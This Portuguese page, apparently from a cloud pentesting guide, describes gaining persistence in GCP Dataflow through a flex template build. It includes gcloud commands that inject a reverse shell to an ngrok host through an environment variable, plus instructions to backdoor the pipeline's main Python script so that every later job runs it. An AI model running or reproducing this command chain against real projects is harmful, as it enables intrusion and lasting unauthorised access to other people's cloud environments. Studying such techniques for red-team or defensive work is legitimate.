GCP - Persistência do Dataflow

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Dataflow

Persistência invisível em contêineres construídos

Seguindo o tutorial da documentação, você pode criar um novo template flex (por exemplo, python):

bash
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Enquanto está sendo construído, você receberá um shell reverso (você pode abusar de variáveis de ambiente como no exemplo anterior ou outros parâmetros que definem o arquivo Docker para executar coisas arbitrárias). Neste momento, dentro do shell reverso, é possível ir para o diretório /template e modificar o código do script python principal que será executado (no nosso exemplo, este é getting_started.py). Defina sua porta dos fundos aqui para que toda vez que o trabalho for executado, ele a execute.

Então, da próxima vez que o trabalho for executado, o contêiner comprometido construído será executado:

bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1

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